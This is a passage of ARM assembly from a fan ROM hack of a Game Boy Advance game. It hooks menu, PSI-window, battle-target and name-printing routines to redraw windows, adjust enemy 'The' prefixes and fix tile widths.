r1,=#overworld_buffer - buffer_subtractor bl clear_window_buffer @@next: // Clobbered code pop {r0} lsl r0,r0,0x10 asr r4,r0,0x10 pop {pc} //============================================================================== // Clear offense/defense when re-equipping (or un-equipping) something baef8_reequip_erase: push {r0-r3,lr} mov r0,8 mov r1,0xB mov r2,4 bl bb21c_print_blankstr_buffer mov r0,8 mov r1,0xD mov r2,4 bl bb21c_print_blankstr_buffer // Clobbered code pop {r0-r3} mov r0,2 strh r0,[r1] pop {pc} //============================================================================== // Redraw main menu when exiting PSI target window b8bbc_redraw_menu_2to1: push {r1-r4,lr} add sp,-4 swi #5 // Copied from 80B7A74 mov r0,0 str r0,[sp] ldr r0,=0x3005230 ldr r0,[r0] // main menu window pointer ldr r1,[r0,4] // text pointer mov r2,5 mov r3,2 mov r4,r0 bl 0x80BE4C8 mov r0,r4 bl print_window_with_buffer swi #5 // Clobbered code (restore the window borders, etc.) mov r0,1 bl m2_swapwindowbuf add sp,4 pop {r1-r4,pc} .pool //============================================================================== // Redraw main menu when exiting PSI window from using a PSI and stores the buffer b8bbc_redraw_menu_13to2_store: push {lr} bl b8bbc_redraw_menu_13to2 mov r3,r9 cmp r3,#0 beq @@end //store only if we're exiting the menu bl store_pixels_overworld @@end: pop {pc} //============================================================================== // Redraw main menu when entering PSI target window b8bbc_redraw_menu_13to2: push {r1-r4,lr} add sp,-4 swi #5 // Copied from 80B7A74 mov r0,0 str r0,[sp] ldr r0,=0x3005230 ldr r0,[r0] // main menu window pointer ldr r1,[r0,4] // text pointer mov r2,5 mov r3,2 mov r4,r0 bl 0x80BE4C8 mov r0,r4 bl print_window_with_buffer swi #5 // Clobbered code (restore the window borders, etc.) mov r0,1 bl 0x80BD7F8 add sp,4 pop {r1-r4,pc} .pool //============================================================================== // Print a space before the Greek letter d3934_print_space: push {r2-r3,lr} mov r0,r4 bl print_space pop {r2-r3} // Clobbered code ldrb r1,[r3,1] lsl r0,r1,1 pop {pc} //============================================================================== // Copy a tile up one line // r4: (x << 16) (relative) // r5: dest tilemap // r6: window // r7: source tilemap // r8: y (dest, relative) // r10: 3005270 ca4bc_copy_tile_up: push {r4-r7,lr} // Four cases: // 1) copy blank to blank // 2) copy blank to non-blank // 3) copy non-blank to blank // 4) copy non-blank to non-blank // 1) we don't have to do anything: pixels are blank for source and dest, // and the tilemap won't change either // 2) we have to erase dest pixels and set dest tilemap to 0xE2FF // 3) we have to copy source pixels to dest pixels and set dest tilemap // to the proper tile index // 4) we only have to copy the source pixels to dest pixels // Check blank by comparing tilemap with 0xE2FF // 0xE2FF is already stored to [sp+(# of regs pushed * 4)] ldr r0,[sp,20] ldrh r1,[r7] ldrh r2,[r5] cmp r1,r0 bne @@next cmp r2,r0 bne @@blank_to_nonblank // Case 1: blank to blank b @@end @@next: cmp r2,r0 bne @@nonblank_to_nonblank // Case 3: non-blank to blank @@nonblank_to_blank: // Copy pixels up ldrh r0,[r6,0x22] lsl r0,r0,16 add r0,r0,r4 lsr r0,r0,16 // x ldrh r1,[r6,0x24] add r1,r8 // dest y mov r4,r1 add r1,2 // source y mov r6,r0 bl copy_tile_up // Set proper tilemap mov r0,r6 // dest x mov r1,r4 // dest y bl get_tile_number ldr r1,=0x30051EC ldrh r2,[r1] add r0,r0,r2 // dest tile number ldrh r1,[r1,0x3C] // 0xE000 orr r0,r1 strh r0,[r5] b @@end // Case 2: blank to non-blank @@blank_to_nonblank: // Set dest tilemap to 0xE2FF strh r0,[r5] // Case 4: non-blank to non-blank @@nonblank_to_nonblank: // Copy pixels up ldrh r0,[r6,0x22] lsl r0,r0,16 add r0,r0,r4 lsr r0,r0,16 // x ldrh r1,[r6,0x24] add r1,r8 // dest y add r1,2 // source y bl copy_tile_up @@end: pop {r4-r7,pc} .pool //============================================================================== // Erase tile (for short windows) // r2: 100 // r4: (x << 16) (relative) // r5: dest tilemap // r6: window // r8: y (dest, relative) ca4bc_erase_tile_short: push {r0-r1,lr} // Clobbered code orr r0,r1 // 0xE2FF strh r0,[r5] // dest tilemap // We need to erase the pixels ca4bc_erase_tile_common: ldrh r2,[r6,0x22] lsl r2,r2,16 add r2,r2,r4 lsr r0,r2,16 // x ldrh r1,[r6,0x24] add r1,r8 // y ldr r2,=0x44444444 bl clear_tile pop {r0-r1,pc} .pool //============================================================================== // Erase tile ca4bc_erase_tile: push {r0-r1,lr} // Clobbered code ldrh r1,[r1] strh r1,[r5] // We need to erase the pixels b ca4bc_erase_tile_common .pool //============================================================================== // Clear PSI window when scrolling through classes e06ec_clear_window: push {r0-r1,lr} ldr r0,=0x3002500 ldrh r0,[r0] cmp r0,0 beq @@next ldr r0,=#0x3005230 ldr r1,=#overworld_buffer - buffer_subtractor ldr r0,[r0,0x1C] bl clear_window_buffer @@next: pop {r0-r1} // Clobbered code lsl r0,r0,0x10 asr r4,r0,0x10 pop {pc} .pool //============================================================================== // Redraw PSI command when exiting PSI subwindow e06ec_redraw_psi: push {r0-r3,lr} mov r0,#1 mov r1,#2 mov r2,#2 bl printBattleMenu // Clobbered code pop {r0-r3} bl 0x80BD7F8 // restore tilemaps pop {pc} .pool //============================================================================== // Redraw Bash/Do Nothing and PSI commands when exiting PSI ally target subwindow e06ec_redraw_bash_psi: push {r0-r3,lr} mov r0,#1 mov r1,#3 mov r2,#2 bl printBattleMenu // Clobbered code pop {r0-r3} bl 0x80BD7F8 // restore tilemaps pop {pc} .pool //============================================================================== // Redraw Bash/Do Nothing, PSI commands, Goods and Defend when choosing enemy target e06ec_redraw_bash_psi_goods_defend: push {lr} push {r0-r3} ldr r2,=#0x8B204E4 //Is this an offensive PSI which needs a target? If so, redraw the background window ldr r1,=#0x8B2A9B0 ldr r0,[r6,#0x1C] ldr r0,[r0,#0x10] ldrh r3,[r0,#2] lsl r3,r3,#4 add r0,r3,r1 ldrh r3,[r0,#4] lsl r0,r3,#1 add r0,r0,r3 lsl r0,r0,#2 add r3,r0,r2 ldrb r0,[r3,#1] cmp r0,#1 beq @@keep cmp r0,#3 bne @@notOffensive //Otherwise, do not do it @@keep: ldrb r0,[r3] cmp r0,#0 bne @@notOffensive mov r0,#3 mov r1,#3 mov r2,#2 bl printBattleMenu @@notOffensive: pop {r0-r3} bl 0x80C2480 //Prints the target pop {pc} .pool //============================================================================== //Redraw main battle window for "goods" targets e0ce4_redraw_battle_window_first_four: push {lr} push {r0-r3} mov r0,#3 mov r1,#3 mov r2,#4 bl printBattleMenu pop {r0-r3} bl initWindow_buffer pop {pc} //============================================================================== //Redraw main battle window for going back to Goods from targets e0faa_redraw_battle_window_first_two: push {r4,lr} push {r0-r3} mov r0,#1 mov r1,#1 mov r2,#4 bl printBattleMenu pop {r0-r3} ldr r4,[sp,#8] add sp,#-4 str r4,[sp,#0] bl initWindow_cursor_buffer mov r0,#4 bl store_pixels_overworld_buffer_totalTiles mov r0,#0 add sp,#4 pop {r4,pc} //============================================================================== //Calls the funcion which loads the targets in and then stores the buffer ba8ac_load_targets_print: push {lr} ldr r2,=#0x20248AC ldrh r2,[r2,#0] push {r2} bl 0x80BAA80 pop {r2} cmp r2,#0 bne @@end //Store the buffer to vram only if the target window was printed. bl store_pixels_overworld @@end: pop {pc} //============================================================================== // Print "PSI " c239c_print_psi: push {lr} add sp,-4 mov r2,0 str r2,[sp] mov r2,r4 lsl r3,r3,3 // tiles-to-pixels bl printstr_hlight_pixels_buffer add sp,4 pop {pc} //============================================================================== // Use new pointer for user/target strings ebfd4_user_pointer: push {lr} mov r4,0x4C lsl r4,r4,4 add r0,r0,r4 mov r5,r0 lsl r4,r1,0x10 asr r4,r4,0x10 mov r1,r2 mov r2,r4 bl 0x80F4C78 add r0,r4,r5 mov r1,0 strb r1,[r0] mov r1,0xFF strb r1,[r0,1] pop {pc} ec004_user_pointer: push {r1} ldr r1,[sp,4] mov lr,r1 pop {r1} add sp,4 ldr r0,=0x3005220 ldr r0,[r0] mov r1,0x4C lsl r1,r1,4 add r0,r0,r1 bx lr ec010_target_pointer: push {lr} mov r4,0x50 lsl r4,r4,4 add r0,r0,r4 mov r5,r0 lsl r4,r1,0x10 asr r4,r4,0x10 mov r1,r2 mov r2,r4 bl 0x80F4C78 add r0,r4,r5 mov r1,0 strb r1,[r0] mov r1,0xFF strb r1,[r0,1] pop {pc} ec046_target_pointer: push {r1} ldr r1,[sp,4] mov lr,r1 pop {r1} add sp,4 ldr r0,[r0] mov r1,0x50 lsl r1,r1,4 add r0,r0,r1 bx lr c980c_user_pointer: push {lr} bl custom_user_pointer ldr r0,[r5,0x1C] pop {pc} c980c_target_pointer: ldr r0,[r0] mov r7,0x50 lsl r7,r7,4 add r0,r0,r7 bx lr .pool //============================================================================== // Add a space between enemy name and letter in multi-enemy fights for the selection window. Called only by enemies. dcd00_enemy_letter: push {r1-r2,lr} ldrb r1,[r5,#0] cmp r1,#1 //In case the name has a "The " at the beginning, remove it bne @@end mov r2,sp add r2,#0xC //Get where the writing stack for the name starts sub r5,r5,#4 @@cycle: //The removed and shifted everything by 4 bytes ldr r1,[r2,#4] str r1,[r2,#0] add r2,#4 cmp r2,r5 ble @@cycle @@end: sub r5,r5,#2 //The the flag must be accounted for. It moves the pointer by 2, so we put it back sub r0,0x90 strb r0,[r5,#1] //Put the letter near the enemy writing space mov r0,#0x50 //Store the space strb r0,[r5] mov r0,#0 //Store the the flag as 0 strb r0,[r5,#4] pop {r1-r2,pc} .pool //============================================================================== // Add a space between enemy name and letter in multi-enemy fights for 9F FF and AD FF. Only enemies call this. dae00_enemy_letter: push {r1-r2,lr} ldrb r1,[r4,#0] cmp r1,#1 //In case the name has a "The " at the beginning, remove it bne @@end mov r2,sp add r2,#0xC //Get where the writing stack for the name starts sub r4,r4,#4 @@cycle: //The removed and shifted everything by 4 bytes ldr r1,[r2,#4] str r1,[r2,#0] add r2,#4 cmp r2,r4 ble @@cycle @@end: sub r4,r4,#2 //The the flag must be accounted for. It moves the pointer by 2, so we put it back sub r0,0x90 strb r0,[r4,#1] //Put the letter near the enemy writing space mov r0,#0x50 //Store the space strb r0,[r4] mov r0,#0 //Store the the flag as 0 strb r0,[r4,#4] pop {r1-r2,pc} .pool //============================================================================== // "The" flag checks for the Target window. It will always be lowercase, this makes things much simpler because it will never be changed due to the character printed before it, unlike how it happens with 9F FF and AD FF. dcd5c_theflag: push {r4,lr} // Clobbered code: get enemy string pointer lsl r4,r2,1 bl 0x80BE260 mov r1,r0 mov r0,sp add r0,8 // Check for "The" flag ldr r3,=m2_enemy_attributes ldrb r3,[r3,r4] // "The" flag cmp r3,0 beq @@next // Write "the " before the enemy name ldr r2,=0x509598A4 str r2,[r0] add r0,4 @@next: pop {r4,pc} .pool //============================================================================== // "The" flag checks for AD FF and 9F FF db04c_theflag: push {r4,lr} // Clobbered code: get enemy string pointer lsl r4,r2,1 bl 0x80BE260 mov r1,r0 mov r0,sp add r0,8 // Check for "The" flag ldr r3,=m2_enemy_attributes ldrb r3,[r3,r4] // "The" flag cmp r3,0 beq @@next // Write "The " before the enemy name ldr r2,=0x50959884 str r2,[r0] add r0,4 @@next: pop {r4,pc} .pool //============================================================================== db08e_theflagflag: //Puts a flag at the end of the name that is 1 if the has been added. 0 otherwise. (called right after db04c_theflag or dcd5c_theflag) push {r3,lr} bl 0x80DAEEC pop {r3} add r0,#2 strb r3,[r0,#0] mov r3,r0 pop {pc} .pool //============================================================================== dae9c_king_0_the: //King is different than the other chosen ones, it's needed to operate on the stack before it goes to the proper address because its branch reconnects with the enemies' routine. push {r1,lr} ldmia [r0]!,r2,r3 //Loads and stores King's name stmia [r1]!,r2,r3 pop {r0} bl _add_0_end_of_name pop {pc} _get_pointer_to_stack: //r0 has the value r1 will have push {r1,lr} mov r1,r0 ldr r0,=#0x3005220 ldr r0,[r0,#0] lsl r1,r1,#4 add r0,r0,r1 //Writing stack address pop {r1,pc} _add_0_end_of_name: //assumes r0 has the address to the stack. Stores 0 after the end of the name. push {r1,lr} @@cycle: //Get to the end of the name ldrb r1,[r0,#0] cmp r1,#0 beq @@end_of_cycle @@keep_going: add r0,#1 b @@cycle @@end_of_cycle: ldrb r1,[r0,#1] cmp r1,#0xFF bne @@keep_going mov r1,#0 //Store 0 after the 0xFF00 strb r1,[r0,#2] pop {r1,pc} //============================================================================== daeda_party_0_the: push {lr} bl 0x80DB01C mov r0,#0x50 bl _get_pointer_to_stack bl _add_0_end_of_name pop {pc} //============================================================================== ec93c_party_0_the: push {lr} bl 0x80EC010 mov r0,#0x50 bl _get_pointer_to_stack bl _add_0_end_of_name pop {pc} //============================================================================== db156_party_0_the: push {lr} bl 0x80DB02C mov r0,#0x4C bl _get_pointer_to_stack bl _add_0_end_of_name pop {pc} //============================================================================== c9c58_9f_ad_minThe: //Routine that changes The to the and viceversa if need be for 9F FF and for AD FF push {r2,lr} ldr r0,=#0x3005220 cmp r4,#0x9F //If this is 9F, then load the user string pointer bne @@ad_setup bl custom_user_pointer //Load the user string pointer b @@common @@ad_setup: //If this is AD, then load the target string pointer push {r7} bl c980c_target_pointer //Load the target string pointer pop {r7} mov r1,r0 @@common: mov r2,#0 @@cycle: ldrb r0,[r1,r2] cmp r0,#0xFF beq @@next //Find its end add r2,#1 b @@cycle @@next: add r2,#1 ldrb r0,[r1,r2] cmp r0,#1 //Does this string have the the flag? If it does not, then proceed to the end bne @@end ldr r2,=0x50959884 //Does this string have "The "? If it does, check if it ends instantly. ldr r0,[r1,#0] cmp r0,r2 beq @@next_found_the sub r0,r0,r2 //Does this string have "the "? If it does not, then it's a character. Proceed to the end. cmp r0,#0x20 bne @@end @@next_found_the: //A starting "The " or "the " has been found mov r2,#0xFF lsl r2,r2,#8 //r2 has 0xFF00 ldrh r0,[r1,#4] //Load the next two bytes after "The " or "the " cmp r0,r2 //If they're the same as r2, then it's a character. End this here. beq @@end ldr r0,=m2_cstm_last_printed ldrb r0,[r0,#0] cmp r0,#0x70 //Is the previous character an @? beq @@Maius mov r0,#0xA4 //Change The to the strb r0,[r1,#0] b @@end @@Maius: mov r0,#0x84 //Ensure it is The strb r0,[r1,#0] @@end: ldr r0,[r6,#0] //Clobbered code add r0,#2 pop {r2,pc} .pool //============================================================================== ca442_store_letter: push {r1,lr} ldr r1,=m2_cstm_last_printed ldrb r0,[r7,#0] strb r0,[r1,#0] lsl r0,r0,#1 pop {r1,pc} //============================================================================== custom_user_pointer: //Routine that gives in r1 the user string pointer ldr r1,[r0,#0] mov r0,#0x4C lsl r0,r0,#4 add r1,r0,r1 bx lr //============================================================================== // r0 = window // r9 = item index // Return: r2 = x location for item string (relative to window location) // Can use: r1, r3, r5 b998e_get_itemstring_x: push {lr} mov r5,r0 // r2 = cursor_x + 1 + (is_equipped(current_item_index) ? 1 : 0) mov r0,r9 add r0,1 bl m2_isequipped ldrh r1,[r5,0x34] // cursor_x add r0,r0,r1 add r2,r0,1 mov r0,r5 pop {pc} .pool //============================================================================== //Loads the player's name properly eeb1a_player_name: push {lr} mov r2,#0x18 //Maximum amount of characters in the name ldr r1,=m2_player1 //Player's name new location mov r3,#0 @@continue_cycle: //Count the amount of characters cmp r3,r2 bge @@exit_cycle add r0,r1,r3 ldrb r0,[r0,#0] cmp r0,#0xFF beq @@exit_cycle add r3,#1 b @@continue_cycle @@exit_cycle: mov r4,r3 //Store the amount of characters in r4 bl 0x80A322C //Clobbered code: load at which letter the routine is lsl r1,r4,#0x10 lsl r0,r0,#0x10 cmp r1,r0 blt @@ended bl 0x80A322C mov r3,#1 ldr r1,=m2_player1 //Player's name new location. The routine starts from 1 because the original routine had a flag before the name, so we subtract 1 to the address we look at in order to avoid skipping a character sub r1,r1,r3 lsl r0,r0,#0x10 asr r0,r0,#0x10 add r1,r1,r0 ldrb r0,[r1,#0] b @@next @@ended: mov r0,#0 @@next: //Do the rest of the routine pop {pc} .pool //============================================================================== //These three hacks remove the game's ability to read the script instantly out of a won battle cb936_battle_won: //Called at the end of a battle if it is won push {lr} ldr r0,=m2_script_readability //Remove the ability to instantly read the script mov r1,#8 strb r1,[r0,#0] ldr r0,=#0x3000A6C //Clobbered code mov r1,#0 pop {pc} .pool //============================================================================== b7702_check_script_reading: //Makes the game wait six extra frames before being able to read the script out of battle push {lr} ldr r0,=m2_script_readability ldrb r1,[r0,#0] cmp r1,#2 //If the value is > 2, then lower it ble @@next sub r1,r1,#1 strb r1,[r0,#0] b @@end @@next: cmp r1,#2 //If the value is 2, change it to 0 and allow reading the script bne @@end mov r1,#0 strb r1,[r0,#0] @@end: mov r7,r10 //Clobbered code mov r6,r9 pop {pc} .pool //============================================================================== a1f8c_set_script_reading: //Changes the way the game sets the ability to read the script push {lr} ldrb r1,[r0,#0] cmp r1,#8 //If this particular flag is set, then don't do a thing. Allows to make it so the game waits before reading the script. beq @@next mov r1,#0 strb r1,[r0,#0] b @@end @@next: mov r1,#0 @@end: pop {pc} .pool //============================================================================== //Hacks that load specific numbers for the new names _2352_load_1d7: mov r0,#0xEB lsl r0,r0,#1 add r0,r0,#1 bx lr _2372_load_1e5: mov r0,#0xF2 lsl r0,r0,#1 add r0,r0,#1 bx lr c98c4_load_1d7: mov r4,#0xEB lsl r4,r4,#1 add r4,r4,#1 bx lr c98d4_load_1e5: mov r4,#0xF2 lsl r4,r4,#1 add r4,r4,#1 bx lr //============================================================================== //Fast routine that uses the defaults and stores them. Original one is a nightmare. Rewriting it from scratch. r1 has the target address. r5 has 0. cb2f2_hardcoded_defaults: push {lr} mov r0,#0x7E //Ness' name strb r0,[r1,#0] mov r2,#0x95 strb r2,[r1,#1] strb r2,[r1,#0xF] mov r0,#0xA3 strb r0,[r1,#2] strb r0,[r1,#3] mov r4,#0xFF lsl r5,r4,#8 strh r5,[r1,#4] add r1,#7 mov r0,#0x80 //Paula's name strb r0,[r1,#0] strb r0,[r1,#0xE] mov r3,#0x91 strb r3,[r1,#1] strb r3,[r1,#4] mov r0,#0xA5 strb r0,[r1,#2] mov r0,#0x9C strb r0,[r1,#3] strb r5,[r1,#5] strb r4,[r1,#6] add r1,#7 mov r0,#0x7A //Jeff's name strb r0,[r1,#0] mov r0,#0x95 strb r0,[r1,#1] mov r0,#0x96 strb r0,[r1,#2] strb r0,[r1,#3] strh r5,[r1,#4] add r1,#7 strb r4,[r1,#4] mov r4,#0x9F //Poo's name strb r4,[r1,#1] strb r4,[r1,#2] strb r5,[r1,#3] add r1,#7 mov r0,#0x7B //King's name strb r0,[r1,#0] mov r0,#0x99 strb r0,[r1,#1] mov r0,#0x9E strb r0,[r1,#2] mov r0,#0x97 strb r0,[r1,#3] strh r5,[r1,#4] add r1,#8 mov r0,#0x83 //Steak's name strb r0,[r1,#0] mov r0,#0xA4 strb r0,[r1,#1] strb r2,[r1,#2] strb r3,[r1,#3] mov r3,#0x9B strb r3,[r1,#4] mov r2,#0xFF strb r5,[r1,#5] strb r2,[r1,#6] add r1,#8 mov r0,#0x82 //Rockin's name strb r0,[r1,#0] strb r4,[r1,#1] mov r0,#0x93 strb r0,[r1,#2] strb r3,[r1,#3] mov r0,#0x99 strb r0,[r1,#4] mov r0,#0x9E strb r0,[r1,#5] strh r5,[r1,#6] mov r2,#1 mov r5,#0 pop {pc} //============================================================================== //Routine for window headers that fixes the issue character - tiles fix_char_tiles: push {lr} lsl r0,r2,#1 lsl r1,r2,#2 add r1,r1,r0 //Multiply r2 (character count) by 6 lsr r0,r1,#3 //Divide by 8 lsl r0,r0,#3 //Re-multiply by 8 cmp r0,r1 //Can it stay in r0 pixels? (Was this a division by 8 without remainder?) beq @@next add r0,#8 //If it cannot stay in x tiles, add 1 to the amount of tiles needed @@next: lsr r0,r0,#3 //Get the amount of tiles needed cmp r0,r2 //If it's not the same amout as the characters... beq @@end sub r0,r2,r0 lsl r0,r0,#1 sub r6,r6,r0 //Remove the amount of extra tiles @@end: pop {pc} //============================================================================== //Specific fix_char_tiles routine - Status window c0b28_fix_char_tiles: push {lr} bl fix_char_tiles ldr r0,[r4,#0] //Clobbered code add r0,#0xB3 pop {pc} //============================================================================== //Specific fix_char_tiles routine - Give window c009e_fix_char_tiles: push {lr} mov r2,r5 bl fix_char_tiles ldr r2,=#0x30051EC //Clobbered code ldrh r0,[r2] pop {pc} //============================================================================== //Specific fix_char_tiles routine - Equip window c4bd6_fix_char_tiles: push {lr} mov r6,r7 bl fix_char_tiles mov r7,r6 ldr r2,=#0x30051EC //Clobbered code ldrh r0,[r2] pop {pc} .pool //============================================================================== //Specific fix_char_tiles routine - Outer PSI window c42e0_fix_char_tiles: push {lr} bl fix_char_tiles mov r2,r9 //Clobbered code ldrh r0,[r2,#0] pop {pc} //============================================================================== //Specific fix_char_tiles routine - Inner PSI window - part 2 c4448_fix_char_tiles: push {lr} bl fix_char_tiles mov r2,r8 //Clobbered code ldrh r0,[r2,#0] pop {pc} //============================================================================== //Routine which clears the header and THEN makes it so the string is printed c6190_clean_print: push {lr} push {r0-r3} mov r1,#6 //Number of tiles to clean bl clear_window_header pop {r0-r3} bl 0x80CAB90 pop {pc} //============================================================================== //Routine which prints just the number with a tiny buffer c6190_buffer_number: push {lr} lsl r2,r2,#3 lsl r3,r3,#3 bl print_window_number_header_string add r0,#7 lsr r0,r0,#3 pop {pc} //============================================================================== //Routine which clears the header and THEN makes it so the string is printed c65da_clean_print: push {lr} push {r0-r3} mov r1,#3 //Number of tiles to clean bl clear_window_header pop {r0-r3} bl 0x80CAB90 pop {pc} //============================================================================== //Routine which clears the header and THEN makes it so the string is printed _0x10_clean_print: push {lr} push {r0-r3} mov r1,#0x10 //Number of tiles to clean bl clear_window_header pop {r0-r3} bl 0x80CAB90 pop {pc} //============================================================================== //Routine which calls the header clearer and changes the position of Stored Goods in the arrangement c6570_clean_print_change_pos: push {lr} bl _0x10_clean_print ldr r2,=#0x230 //Change starting position mov r0,r2 //Clobbered code ldrh r3,[r4,#0] add r0,r0,r3 mov r2,r8 ldrh r1,[r2,#0] orr r0,r1 mov r2,#0 @@cycle: //Print 9 tiles in the arrangement lsl r0,r0,#0x10 lsr r0,r0,#0x10 mov r1,r0 add r0,r1,#1 strh r1,[r5,#0] add r5,#2 add r2,#1 cmp r2,#9 bne @@cycle bl store_pixels_overworld // Stores buffer after printing happened pop {pc} .pool //============================================================================== //Routine which gives the address to the party member's inventory get_inventory_selected: push {r3,lr} ldr r0,=#0x30009FB //Load source pc ldrb r0,[r0,#0] ldr r3,=#0x3001D40 //Get inventory mov r2,#0x6C mul r0,r2 add r3,#0x14 add r0,r0,r3 pop {r3,pc} //============================================================================== //Routine which gets the address to the selected party member's inventory and then prints it get_print_inventory_window: push {r0-r4,lr} bl get_inventory_selected mov r1,r0 //Inventory ldr r0,[r4,#0x10] //Window ldr r3,=m2_active_window_pc //Change the pc of the window so m2_isequipped can work properly ldr r2,[r3,#0] lsl r2,r2,#0x10 asr r2,r2,#0x10 push {r2} ldr r2,=#0x30009FB //Load source pc ldrb r2,[r2,#0] str r2,[r3,#0] //Store it mov r2,#0 //No y offset bl goods_print_items //Print the inventory bl store_pixels_overworld pop {r2} ldr r3,=m2_active_window_pc //Restore pc of the window lsl r2,r2,#0x10 asr r2,r2,#0x10 str r2,[r3,#0] pop {r0-r4,pc} //============================================================================== //Specific Routine which calls get_print_inventory_window ba48e_get_print_inventory_window: push {lr} push {r4} ldr r4,=#0x3005230 bl get_print_inventory_window //Prints old inventory pop {r4} bl 0x80BD7F8 //Copies old arrangements, this includes the highlight pop {pc} //============================================================================== //Specific Routine which calls get_print_inventory_window b9ecc_get_print_inventory_window: push {lr} push {r4} ldr r4,=#0x3005230 bl get_print_inventory_window //Prints old inventory pop {r4} bl 0x80BD7F8 //Copies old arrangements, this includes the highlight pop {pc} //============================================================================== //Specific Routine which calls get_print_inventory_window ba61c_get_print_inventory_window: push {r5,lr} mov r5,r7 bl get_print_inventory_window //Prints old inventory bl 0x80BD7F8 //Copies old arrangements, this includes the highlight pop {r5,pc} .pool //============================================================================== //Reprints both the Main window and the Cash window if need be generic_reprinting_first_menu: push {lr} push {r0-r6} add sp,#-8 ldr r6,=#0x3005078 //Make sure the game expects only the right amount of lines to be written (so only 1) ldrb r4,[r6,#0] str r4,[sp,#4] mov r4,#0 strb r4,[r6,#0] ldr r4,=#0x3005230 //Window generic address //Main window mov r2,#1 ldr r0,[r4,#0] //Main window place in ram ldrb r0,[r0,#0] and r2,r0 cmp r2,#0 beq @@cash //Check if window is enabled before printing in it ldr r0,=#0x8B17EE4 ldr r1,=#0x8B17424 ldr r3,=m2_psi_exist //Flag which if not 0xFF means no one has PSI ldrb r3,[r3,#0] cmp r3,#0xFF beq @@psiNotFound mov r2,#0 b @@keep_going @@psiNotFound: mov r2,#1 @@keep_going: bl m2_strlookup //Load the proper menu string based on m2_psi_exist mov r1,#0 str r1,[sp,#0] mov r1,r0 ldr r0,[r4,#0] mov r2,#5 mov r3,#2 bl 0x80BE4C8 //Let it do its things ldr r0,[r4,#0] bl print_window_with_buffer //Print text in the window mov r2,#1 ldr r0,[r4,#4] //Cash window place in ram ldrb r0,[r0,#0] and r2,r0 cmp r2,#0 bne @@insidecash bl store_pixels_overworld_options //Only this window must be reprinted b @@end @@cash: //Cash mov r2,#1 ldr r0,[r4,#4] //Cash window place in ram ldrb r0,[r0,#0] and r2,r0 cmp r2,#0 beq @@end //Check if window is enabled before printing in it @@insidecash: ldr r2,=#0x300130C ldr r0,[r2,#0] mov r1,#2 orr r0,r1 str r0,[r2,#0] ldr r0,=#0x3001D40 mov r1,#0xD2 lsl r1,r1,#3 add r0,r0,r1 ldr r0,[r0,#0] //Load the money ldr r5,=#0x3005200 ldr r1,[r5,#0] mov r2,r1 //Load the string address mov r1,#0x30 //Padding bl format_cash_window ldr r0,[r4,#4] ldr r1,[r5,#0] mov r2,#0 bl initWindow_buffer //Let it do its things ldr r0,[r4,#4] bl print_window_with_buffer //Print text in the window bl store_pixels_overworld_psi_window @@end: ldr r4,[sp,#4] strb r4,[r6,#0] //Restore expected amount of lines to be written add sp,#8 pop {r0-r6} pop {pc} .pool //============================================================================== //Reprints both the Main window and the Cash window if need be, but highlights "Talk to" generic_reprinting_first_menu_talk_to_highlight: push {lr} push {r0-r6} add sp,#-8 ldr r6,=#0x3005078 //Make sure the game expects only the right amount of lines to be written (so only 1) ldrb r4,[r6,#0] str r4,[sp,#4] mov r4,#0 strb r4,[r6,#0] ldr r4,=#0x3005230 //Window generic address //Main window mov r2,#1 ldr r0,[r4,#0] //Main window place in ram ldrb r0,[r0,#0] and r2,r0 cmp r2,#0 beq @@cash //Check if window is enabled before printing in it ldr r0,=#0x8B17EE4 ldr r1,=#0x8B17424 ldr r3,=m2_psi_exist //Flag which if not 0xFF means no one has PSI ldrb r3,[r3,#0] cmp r3,#0xFF beq @@psiNotFound mov r2,#0 b @@keep_going @@psiNotFound: mov r2,#1 @@keep_going: bl m2_strlookup //Load the proper menu string based on m2_psi_exist mov r1,#0 str r1,[sp,#0] mov r1,r0 ldr r0,[r4,#0] mov r2,#5 mov r3,#2 bl 0x80BE4C8 //Let it do its things ldr r0,[r4,#0] bl print_window_with_buffer //Print text in the window bl highlight_talk_to mov r2,#1 ldr r0,[r4,#4] //Cash window place in ram ldrb r0,[r0,#0] and r2,r0 cmp r2,#0 bne @@insidecash bl store_pixels_overworld_options //Only this window must be reprinted b @@end @@cash: //Cash mov r2,#1 ldr r0,[r4,#4] //Cash window place in ram ldrb r0,[r0,#0] and r2,r0 cmp r2,#0 beq @@end //Check if window is enabled before printing in it @@insidecash: ldr r2,=#0x300130C ldr r0,[r2,#0] mov r1,#2 orr r0,r1 str r0,[r2,#0] ldr r0,=#0x3001D40 mov r1,#0xD2 lsl r1,r1,#3 add r0,r0,r1 ldr r0,[r0,#0] //Load the money ldr r5,=#0x3005200 ldr r1,[r5,#0] mov r2,r1 //Load the string address mov r1,#0x30 //Padding bl format_cash_window ldr r0,[r4,#4] ldr r1,[r5,#0] mov r2,#0 bl initWindow_buffer //Let it do its things ldr r0,[r4,#4] bl print_window_with_buffer //Print text in the window bl store_pixels_overworld_psi_window @@end: ldr r4,[sp,#4] strb r4,[r6,#0] //Restore expected amount of lines to be written add sp,#8 pop {r0-r6} pop {pc} .pool //============================================================================== //Specific (But still very generic) call to generic_reprinting_first_menu which then calls swapwindowbuf as expected from the game _reprint_first_menu: push {lr} bl generic_reprinting_first_menu mov r0,#1 bl m2_swapwindowbuf pop {pc} //============================================================================== //Specific call to b9aa2_special_string, needed for the help function ba7be_reprint_first_menu: push {lr} bl b9aa2_special_string ldr r1,=#0x40000D4 ldr r0,=#0x3005200 pop {pc} //============================================================================== //Specific call to b9aa2_special_string, needed for when you exit the item action function b9aa2_reprint_first_menu: push {lr} bl b9aa2_special_string mov r0,#1 bl 0x80BD7F8 pop {pc} //============================================================================== //Setup which only prints either "Check" or "PSI \n Check" in the main window. Needed in order to avoid the not-needed options popping in the item window for 2-3 frames b9aa2_special_string: push {lr} push {r0-r5} add sp,#-68 ldr r5,=#0x3005078 //Make sure the game expects only the right amount of lines to be written (so only 1) ldrb r4,[r5,#0] str r4,[sp,#4] mov r4,#0 strb r4,[r5,#0] ldr r4,=#0x3005230 //Window generic address //Main window mov r2,#1 ldr r0,[r4,#0] //Main window place in ram ldrb r0,[r0,#0] and r2,r0 cmp r2,#0 beq @@end //Check if window is enabled before printing in it ldr r1,=m2_psi_exist ldrb r1,[r1,#0] add r0,sp,#8 bl setupShortMainMenu //Get shortened menu string mov r1,#0 str r1,[sp,#0] add r1,sp,#8 ldr r0,[r4,#0] mov r2,#5 mov r3,#2 bl 0x80BE4C8 //Let it do its things ldr r0,[r4,#0] ldrb r1,[r0,#0] mov r2,#0xDF and r2,r1 strb r2,[r0,#0] //Do not redraw the window mov r3,r0 mov r0,#1 mov r1,#2 mov r2,#4 